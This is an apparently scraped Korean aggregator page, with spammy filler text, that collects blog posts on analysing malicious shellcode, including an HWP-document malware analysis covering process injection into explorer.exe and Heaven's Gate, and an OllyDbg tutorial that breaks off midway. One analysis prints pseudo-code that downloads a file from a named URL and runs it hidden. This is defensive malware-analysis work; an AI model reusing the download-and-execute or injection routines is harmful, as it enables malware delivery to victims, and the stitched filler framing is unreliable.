Top 37 쉘 코드 분석 Best 275 Answer

You are looking for information, articles, knowledge about the topic nail salons open on sunday near me 쉘 코드 분석 on Google, you do not find the information you need! Here are the best content compiled and compiled by the https://chewathai27.com/to team, along with other related topics such as: 쉘 코드 분석 쉘코드 만들기, Malzilla by bobby


64비트 쉘코드를 실행하는 한글문서 악성코드 분석
64비트 쉘코드를 실행하는 한글문서 악성코드 분석


Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

  • Article author: 5kyc1ad.tistory.com
  • Reviews from users: 40846 ⭐ Ratings
  • Top rated: 5.0 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석 악성 쉘코드(Shellcode) 분석. 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 … …
  • Most searched keywords: Whether you are looking for Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석 악성 쉘코드(Shellcode) 분석. 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 … 악성 쉘코드(Shellcode) 분석  문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다. [그림 1. ODA에서 디스어셈블한..
  • Table of Contents:
Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석
Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

Read More

[쉘코드] 쉘코드 분석 방법 : 네이버 블로그

  • Article author: m.blog.naver.com
  • Reviews from users: 34454 ⭐ Ratings
  • Top rated: 4.4 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about [쉘코드] 쉘코드 분석 방법 : 네이버 블로그 [쉘코드] 쉘코드 분석 방법 · 1. 난독화 해제 및 쉘코드 추출 · malzilla by bobby 툴을 이용하여 PDF 내에서 추출된 악성 쉘 코드(스크립트)를 말질라에서 … …
  • Most searched keywords: Whether you are looking for [쉘코드] 쉘코드 분석 방법 : 네이버 블로그 [쉘코드] 쉘코드 분석 방법 · 1. 난독화 해제 및 쉘코드 추출 · malzilla by bobby 툴을 이용하여 PDF 내에서 추출된 악성 쉘 코드(스크립트)를 말질라에서 …
  • Table of Contents:

카테고리 이동

댕이댕이의 Network 블로그!

이 블로그 
문서형_악성코드
 카테고리 글

카테고리

이 블로그 
문서형_악성코드
 카테고리 글

[쉘코드] 쉘코드 분석 방법 : 네이버 블로그
[쉘코드] 쉘코드 분석 방법 : 네이버 블로그

Read More

쉘코드 분석 방법

  • Article author: isacacia.tistory.com
  • Reviews from users: 13776 ⭐ Ratings
  • Top rated: 4.5 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about 쉘코드 분석 방법 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. …
  • Most searched keywords: Whether you are looking for 쉘코드 분석 방법 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. 확인 결과 다운로드 받은 파일은 쉘코드 였으며, 그 쉘코드를 분석하는..
  • Table of Contents:

Main Menu

쉘코드 분석 방법

‘공부개인적 공부 공간’ 관련 글

Sidebar

티스토리툴바

쉘코드 분석 방법
쉘코드 분석 방법

Read More

64비트 쉘코드를 실행하는 한글문서 악성코드

  • Article author: malwareanalysis.tistory.com
  • Reviews from users: 22367 ⭐ Ratings
  • Top rated: 4.9 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about 64비트 쉘코드를 실행하는 한글문서 악성코드 64비트 프로세스에 인젝션된 쉘코드를 분석합니다. 2. 행위분석. 프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다. …
  • Most searched keywords: Whether you are looking for 64비트 쉘코드를 실행하는 한글문서 악성코드 64비트 프로세스에 인젝션된 쉘코드를 분석합니다. 2. 행위분석. 프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다. 악성코드 링크: https://app.any.run/tasks/b4381901-3a3b-4055-8304-f0870a8d3c7c/ 프로세스모니터 로그 다운로드 링크: https://drive.google.com/file/d/1CzQG1FTBlQGd7wJU_jwskp2S5lo5Qqsl/view?usp=sharing h..
  • Table of Contents:

1 요약

2 악성코드 추출

3 쉘코드 실행

4 쉘코드 분석

5 64비트 쉘코드 분석

6 참고자료

티스토리툴바

64비트 쉘코드를 실행하는 한글문서 악성코드
64비트 쉘코드를 실행하는 한글문서 악성코드

Read More

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

  • Article author: kjcc2.tistory.com
  • Reviews from users: 20317 ⭐ Ratings
  • Top rated: 4.4 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about [강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 … …
  • Most searched keywords: Whether you are looking for [강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 … 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 분석하는데 있어, 못하는 부분들이 있기 때문에 이런 방법을..
  • Table of Contents:

Header Menu

Main Menu

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

Sidebar – Right

Sidebar – Footer 1

Sidebar – Footer 2

Sidebar – Footer 3

Sidebar – Footer 4

Copyright © 처리의 블로그 All Rights Reserved

Designed by JB FACTORY

티스토리툴바

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자
[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

Read More

해커스쿨 F.T.Z 쉘코드(Shell Code) 실습

  • Article author: engeon.tistory.com
  • Reviews from users: 46395 ⭐ Ratings
  • Top rated: 3.5 ⭐
  • Lowest rated: 1 ⭐
  • Summary of article content: Articles about 해커스쿨 F.T.Z 쉘코드(Shell Code) 실습 gcc로 컴파일하고 실행하면 “hello world”가 잘 나온다. 이제는 objdump를 사용해 기계어 코드를 분석한다. objdump 실행. gdb로 분석 … …
  • Most searched keywords: Whether you are looking for 해커스쿨 F.T.Z 쉘코드(Shell Code) 실습 gcc로 컴파일하고 실행하면 “hello world”가 잘 나온다. 이제는 objdump를 사용해 기계어 코드를 분석한다. objdump 실행. gdb로 분석 … level 11을 하기에 앞서 쉘코드에 대해 배우고 간단한 실습을 하는 시간을 가진다. 쉘코드에 대해서 처음 알았고 구글링을 통한 실습을 했다. 어셈블리 언어에 대해서는 Break Time에서 아주 조금이나마 들여다보..
  • Table of Contents:

태그

관련글

댓글0

공지사항

최근글

인기글

최근댓글

태그

전체 방문자

해커스쿨 F.T.Z 쉘코드(Shell Code) 실습
해커스쿨 F.T.Z 쉘코드(Shell Code) 실습

Read More


See more articles in the same category here: 607+ tips for you.

Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

악성 쉘코드(Shellcode) 분석

문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다.

[그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다]

쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다.

[그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴]

우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 “urlmon”이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 “urlmon”을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다.

[그림 3. 함수를 찾아 실행시키는 메인 함수]

쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다.

[그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분]

fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다.

TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328

GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329

[그림 5. 찾은 함수명 해싱]

그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # ROL & ROR Function : https://bbolmin.tistory.com/133 def ROL(data, shift, size = 32 ): shift % = size remains = data > > (size – shift) body = (data < < shift) - (remains < < size ) return (body + remains) def ROR(data, shift, size = 32 ): shift % = size body = data > > shift remains = (data < < (size - shift)) - (body < < size) return (body + remains) def HashROR(target): ret = 0 for c in target: ret = ROR(ret, 0xD ) ret + = ord(c) return ret Colored by Color Scripter cs 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다. [그림 6. 찾은 함수 호출 루틴] 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 Popad와 Pop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다. [그림 7. 메인 함수 호출] 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. [그림 8. 함수명과 그 해시] 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다) 1 2 3 4 5 6 7 LoadLibrary( "urlmon" ); LPVOID p = VirtualAlloc( NULL , 0x400 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); GetTempPathA( 0x104 , p); p + = "tasc.exe" ; URLDownloadToFileA( NULL , "http://hrkumdo.org/xe/files/capsule.jpg" , p, NULL , NULL ); WinExec(p, SW_HIDE); TerminateProcess(INVALID_HANDLE_VALUE, 0 ); Colored by Color Scripter cs 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다.

64비트 쉘코드를 실행하는 한글문서 악성코드

반응형

악성코드 링크: https://app.any.run/tasks/b4381901-3a3b-4055-8304-f0870a8d3c7c/

프로세스모니터 로그 다운로드 링크: https://drive.google.com/file/d/1CzQG1FTBlQGd7wJU_jwskp2S5lo5Qqsl/view?usp=sharing

hybrid-analysis 샌드박스 링크: https://www.hybrid-analysis.com/sample/c5153d6f6c103862f9163814d996f428c4bfe45bed5224d4b21ca239a1ccfcdc?environmentId=110

영상: https://youtu.be/qA5GNwSuqb0

1. 요약

1.1 한글문서 악성코드 샌드박스 분석

hybrid-analysis 샌드박스를 이용하여 한글 악성코드를 분석합니다.

1.2 한글문서 악성코드 추출

포스트스크립트 쉘을 이용해서 한글문서에 존재하는 악성코드를 추출합니다.

1.3 API 리졸빙

악성코드가 실행 중에 필요한 API함수 주소를 가져오는 과정을 x32dbg 조건 브레이크포인트를 설정하여 로그로 출력합니다.

1.4 헤븐즈게이트

악성코드를 실행하는 시스템이 64비트인 경우 동작하는 헤븐즈게이트를 살펴봅니다.

1.5 인젝션된 64비트 쉘코드 분석

64비트 프로세스에 인젝션된 쉘코드를 분석합니다.

2. 행위분석

프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다.

한글문서를 열자마자 바로 악성코드가 실행됩니다. 악성코드의 목적은 explorer.exe를 대상으로 코드 인젝션을 수행합니다.

그림1 hybrid-analysis 코드 인젝션 로그

프로세스모니터에서는 코드 인젝션이 실패하여 오류가 발생합니다.

그림2 프로세스모니터 로그 ​

악성코드는 포스트스크립트로서 한글문서 위에 작은 크기로 숨겨져있습니다.

그림3 한글문서에 숨겨진 악성코드

2. 악성코드 추출

챕터2에서는 한글파일의 악성코드인 포스트스크립트를 추출합니다.

PS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/1_data.ps 에서 볼 수있습니다.

EPS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/2_data.eps

hwpscan2도구로 한글파일에 존재하는 포스트스크립트를 추출합니다.

* Root Entry → BinData → BIN0001.ps 오른쪽 마우스를 클릭 후 Save a Hex(Decompress)

그림4 포스트스크립트 추출 ​

포스트스크립트는 실행 중에 XOR연산으로 페이로드를 복호화 합니다. 복호화키는 바이트배열입니다.

그림5 포스트스크립트 복호화

복호화 결과를 파일로 추출하기 위해 실행 명령어(exec)를 출력 명령어(print)로 변경합니다.

그림6 파일 추출을 위한 포스트스크립트 수정

고스트스크립트 쉘에서 수정한 포스트스크립트를 실행합니다. 결과물을 복사하여 파일로 저장합니다.

그림7 복호화된 데이터

3. 쉘코드 실행

​jump2it.exe와 gbb.exe를 사용하여 쉘코드를 실행하는 방법에 대해 살펴봅니다.

복호화된 데이터 중 쉘코드가 존재합니다. 쉘코드를 분석하기 위해 exe파일로 변환해야 하는데 파일 크기가 커서 [2차 미북 정상회담.hwp]예제에서 사용한 방법이 되지 않습니다. shellcode2exe.py는 1kbyte크기인 쉘코드만 exe파일로 변경합니다.

* 2차 미북 정상회담.hwp 분석 보고서: https://www.notion.so/2-hwp-cbc93af950d745c48dc15d9b355ac6f4

3.2 jump2it으로 쉘코드 실행

jump2it은 https://github.com/adamkramer/jmp2it/releases/tag/v1.4에서 다운로드 받을 수 있습니다.

3.2.1 쉘코드 추출

[그림 7]에서 ‘<>‘꺽쇠사이에 있는 데이터를 헥사에디터를 활용하여 저장합니다.

그림8 쉘코드 저장

3.2.2 쉘코드 실행

jump2it로 쉘코드를 실행하고 디버거로 jmp2it.exe프로세스에 Attach하는 방식입니다. 번거로운 점은 Attach하고 몇 개의 명령어를 NOP으로 변경해야 합니다.

그림9 쉘코드 실행

x32dbg로 jmp2it프로세스 attach(File → attach)합니다.

그림10 x32dbg Attach 시도

attach가 성공하면 일시정지 상태로 되고 ret명령어가 보입니다.

그림11 attach 결과

​F9를 누르고 2~3초 뒤에 일시정시상태로 변경합니다.

그림12 시작→일시정시 결과

스페이스를 눌러 jmp명령어를 nop으로 변경합니다.

그림14 명령어 변경 결과

all edi까지 실행한 후 F7을 눌러 진입합니다.

그림15 쉘코드 진입

[그림 8]에서 저장한 쉘코드와 진입한 명령어가 일치한 것을 알 수 있습니다.

그림16 쉘코드 진입 성공

3.3 gbb.exe으로 쉘코드 실행

행위분석 [그림 2]를 보면 gbb.exe가 실행되었습니다. gbb.exe는 구버전 한글을 설치하면 기본으로 설치되는 포스트스크립트 실행기입니다. gbb.exe를 디버거로 실행해서 [그림 7]에서 추출한 포스트스크립트를 실행할 것입니다.

한글설치 경로에 gbb.exe를 찾아 x32dbg로 실행합니다.

* 설치경로: C:\Program Files (x86)\Hnc\Common80\ImgFilters\GS\gs8.60\bin

그림17 gbb.exe 디버거 실행

gbb.exe를 실행할 때 필요한 인자(File → Change CommandLine)를 수정합니다. [그림 7]에서 추출한 파일 경로를 추가합니다.

그림18 커맨드라인 수정

ctrl + F2를 눌러 gbb.exe를 다시 시작합니다. VirtualProtect에 브레이크포인트를 설정하고 실행합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 VirtualProtect를 호출한 곳으로 이동합니다. 이동한 곳은 쉘코드 영역입니다. jmp2it실행 결과(그림 16)와 같습니다.

그림19 쉘코드로 이동

4. 쉘코드 분석

4.1 API 리졸빙

쉘코드는 실행 중에 필요한 API함수 주소를 가져온 뒤 API함수를 실행합니다. 이 과정을 API리졸빙이라고 부릅니다. x32dbg의 브레이크포인트 컨디션이라는 기능을 사용하여 쉘코드가 가져올 API함수 목록을 가져올 수 있습니다.

쉘코드 시작점에서 F8번을 한번 누르면 함수를 call하는 명령어를 만납니다. F7을 눌러 함수에 진입합니다. 그리고 [그림 20]와 같이 브레이크포인트를 설정하고 마지막 브레이크포인트에 멈출 때까지 실행합니다.

그림20 API 리졸빙 함수에 진입하기 위한 브레이크포인트 설정

F7번을 눌러 함수에 진입합니다. 첫 번째 만나는 함수에서도 F7을 눌러 진입합니다.

그림21 API 리졸빙 함수진입

오른쪽 버튼을 눌러 Graph버튼을 클릭합니다. 이제 어셈블리 명령어를 그래프로 볼 수 있습니다.

그림22 그래프 모드 전환

스크롤을 내리면 xor eax, eax 명령어를 볼 수 있습니다. 해당 명령어는 eax를 0으로 초기화하는 명령어입니다. API함수 주소를 성공적으로 가져왔다면 eax값을 0으로 초기화하지 않으므로 오른쪽 구간은 API함수 주소를 가져오는 과정이 실패했을때 실행됩니다. 반대로 왼쪽은 API함수 주소를 성공적으로 가져왔을 때 실행되는 곳입니다.

jmp 명령어에 브레이크포인트를 설정합니다.

그림23 API리졸빙 분기

이제 브레크포인트 조건을 수정할 겁니다. Breakpoints탭으로 이동하고 [그림 23]에서 설정한 브레이크포인트를 찾아 클릭한 후 Ctrl + E를 누릅니다. Break Condition을 0으로 수정하고 Log Text를 [그림 24]와 같이 설정합니다. 브레이크포인트를 만나도 멈추지 않고 로그를 남기는 설정입니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림24 브레이크포인트 조건 수정

F9를 눌러 실행하고 Log탭으로 이동합니다. 쉘코드가 실행 중에 가져온 API주소를 볼 수 있습니다. 오류가 발생할 때까지 F9를 눌러 실행하여 모든 API이름을 출력합니다.

그림25 API리졸빙 로그

API이름을 보고 악성행위를 추측할 수 있습니다.

※ 프로세스 인젝션

▶ WriteProcessMemory

▶ RtlCreateUserThread

※ 프로세스 정보 탐색

▶ CreateToolhelp32Snapshot

▶ Process32First

▶ Process32Next

※ 실행환경 검사

▶ 32비트인지 64비트인지 확인: IsWow64Process

▶ 파일이름검사: GetModuleFileName

※ 권한상승

▶ ZwAdjustPrivilegesToken

▶ GetCurrentProcess

4.2 프로세스 인젝션

[그림 1]에서 분석한 것처럼 쉘코드는 explorer.exe에 쉘코드를 인젝션합니다. API리졸빙 로그를 통해 프로세스인젝션 함수를 알았으므로 해당 함수에 브레이크포인트를 설정해서 분석해봅시다.

4.2.1 데이터 쓰기: WriteProcessMemroy

스냅샷으로 돌아가 WriteProcessMemroy에 브레이크포인트를 설정합니다. 실행한 후에 스택창을 확인하면 어떤 프로세스에 무슨 데이터를 쓰는지 알 수 있습니다.

※ 2번째 인자: 프로세스 핸들

※ 3번째 인자: 데이터를 쓸 메모리 주소

※ 4번째 인자: 인젝션 데이터

그림26 WriteProcessMemroy 인자 확인

프로세스 핸들은 x32dbg Handles탭에서 확인할 수 있습니다. Process Hacker와 같이 확인하면 explorer.exe입니다.

그림27 인젝션 대상 확인

[그림 25]을 스택창을 확인하면 explorer.exe 0x2F60000에 데이터를 쓰려는 것을 알 수 있습니다. Process Hacker의 Memory탭을 확인하면 해당 주소는 현재 비어있고 쓰기(R), 읽기(W), 실행(X) 속성이 있습니다.

그림28 인젝션 할 메모리 주소

F9를 눌러 WriteProecessMemory를 실행하면 0x2f60000주소에 데이터가 써집니다.

그림29 인젝션 데이터 확인

4.2.2 인젝션 데이터 실행: RtlCreateUserThread

인젝션한 데이터는 RtlCreateUserThread함수에 의해 실행됩니다. 하지만 분석하는 환경이 64비트인 경우에 브레이크포인트를 설정해도 멈추지 않습니다. 64비트용 RtlCreateUserThread함수를 호출하기 때문입니다. 이 문서에서는 분석환경이 64비트라는 전제로 인젝션 코드 실행은 4.3섹션에서 다룹니다.

4.3 64비트 API함수 호출: 헤븐즈게이트

쉘코드는 IsWow64Process함수를 사용해서 실행환경이 32비트인지 64비트인지 검사합니다. 64비트이면 64비트용 RtlCreateUserThread를 실행하여 인젝션한 데이터를 실행합니다.

IsWow64Process에 브레이크포인트를 설정합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 IsWow64Process를 호출한 곳으로 이동합니다. IsWow64Process결과는 esi레지스터에 저장합니다. 32비트이면 esi레지스터는 0, 64비트이면 esi레지스터가 1이 됩니다.

그림30 IsWow64Process결과 저장

저는 분석환경이 64비트이므로 ESI레지스터가 1로 설정됩니다. F8번을 눌러 한줄한줄 명령어를 실행합니다. call eax를 만나면 F7을 누릅니다.

그림31 다른 쉘코드 실행

ret far명령어로 64비트 API함수를 실행합니다. ret far을 실행하면 디버거가 꺼집니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림32 64비트 API함수 호출

5. 64비트 쉘코드 분석

64비트 API함수 분석은 64비트 디버거를 사용해야하므로 x64dbg를 사용합니다.

5.1 64비트 쉘코드 Attach

x64dbg를 실행하고 explorer.exe에 Attach(File→Attach)합니다.

* explorer.exe를 디버깅 하면 작업 표시줄 등 시스템이 제대로 동작하지 않습니다.

그림33 64비트 explorer.exe attach

[그림 28]에서 확인한 주소에 브레이크포인트를 설정합니다. 그리고 x32dbg에서 ret far(그림 32)를 실행합니다.

그림33 코드 인젝션 한 메모리 주소에 브레이크포인트 설정

explorer.exe는 바로 브레이크포인트에 멈추지 않습니다. explorer.exe는 쓰레드가 많으므로 브레이크포인트에 멈출 때까지 F9를 눌러 실행합니다.

그림33 브레이크포인트에 멈춤

5.2 API 리졸빙

64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다.

5.2 API 리졸빙

64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다.

* 꼭 스냅샷을 찍고 진행하세요.

그림34 API 리졸빙 분기

그림35 브레이크포인트 조건 설정

Log탭에서 확인하시면 네트워크 연결에 관련된 API함수 주소를 가져오는 것을 알 수 있습니다.

그림36 API리졸빙 목록

5.3 네트워크 활동 분석

쉘코드는 InternetConnectA, HttpOpenRequestA를 사용해서 http프로토콜 통신을 합니다. 해당 함수에 브레이크포인트를 설정하면 누구와 통신하고자 하는지 대상을 알 수 있습니다. 현재 대상은 존재하지 않아 대상확인만 가능하고 통신 목적은 확인하지 못합니다.

* 기업 분석 보고서에 의하면 추가 악성코드를 다운로드 받는 목적이라고 합니다.

5.3.1 연결대상 확인: InternetConnectA

IntetnectConnect함수에 브레이크포인트를 설정하고 실행합니다. InetnectConnectA함수 2번째 인자는 연결대상 정보를 저장합니다. 현재 64비트 프로세스이기 때문에 RDX레지스터가 2번째 인자를 저장합니다.

그림37 연결대상 확인

5.3.2 연결주소 확인: HttpOpenRequestA

http 프로토콜이므로 [그림 37]에서 확인한 연결대상의 어떤 주소에 연결하려고하는지 확인해봅시다. HttpOpenReuqestA에 브레이크포인트를 설정하고 실행합니다. 3번째 인자가 연결주소를 저장합니다. 64비트이므로 R8레지스터가 3번째 인자 값을 저장합니다.

그림38 연결주소 확인

6. 참고자료

※ ghostscript 다운로드 링크: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases

※ 분석보고서(중국어): https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/

※ 이글루시큐리티 월간보안동향 2월 보고서: http://www.igloosec.co.kr/pdf/igloosec_security_report_202002.pdf

※ x64dbg log format: https://help.x64dbg.com/en/latest/introduction/Formatting.html

※ 64bit calling convetion: https://docs.microsoft.com/ko-kr/cpp/build/x64-calling-convention?view=vs-2019

반응형

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^

간략하게 글을 적어봅니다.

이 글은 보통 악성 스크립트들을 Malzilla로 분석하는데 있어, 못하는 부분들이 있기 때문에 이런 방법을 많이 사용하고 있습니다.

물론 저는 그렇구요^^; 다른 분들은 어떻게 분석하는지 모르겠네요!! ㅎㅎ

– Malzilla :

– OllyDbg :

– UltraEdit < 준비물>– Malzilla : http://malzilla.sourceforge.net/downloads.html – OllyDbg : http://www.ollydbg.de – UltraEdit

1. 우선 파일을 UltraEdit로 오픈합니다.

그럼 다음과 같이 쉘코드로 보이는 문자열들이 보입니다.

이 문자열들을 복사합니다.

(주의) 중간에 “+” 이라는 문자들은 모두 공백으로 바꾸어줍니다^^

2. 복사 한 부분을 Malzilla의 Misc Decoders탭에 붙여넣기 합니다.

그 후 UCS2 to Hex 를 클릭합니다.

3. 그럼 쉘코드가 Hex값으로 변환되었습니다. 이 부분을 다시 복사합니다.

4. 복사한 부분을 Shellcode analyzer 탭이나 Hex View 탭으로 이동하여 Paste as hex로 붙어넣습니다. 그리고 우측마우스를 눌러서 Save를 합니다.

파일명을 저장 할 때, ” Hex_view_file.mem ” 으로 저장하시면 추후 편리합니다 ㅋㅋ

이제 저장 된 Hex를 OllyDbg에 연동하여 쉘코드를 분석해 보겠습니다.

5. 우선 Olly를 열고 아무파일이나 오픈합니다. 저는 개인적으로 notepad.exe를 좋아해서 ㅡㅡ;; 그 파일을 오픈하였습니다 ㅋㅋ

그리고 마우스 우측버튼을 이용하여 Backup -> Load Backup From File 을 클릭합니다.

아까 저장해 둔 mem 파일을 불러옵니다.

그럼 크기가 안맞는다니 어쩐다니 그런 개소리를 하게 되는데~ 사뿐히 즈려밟고 갑니다.

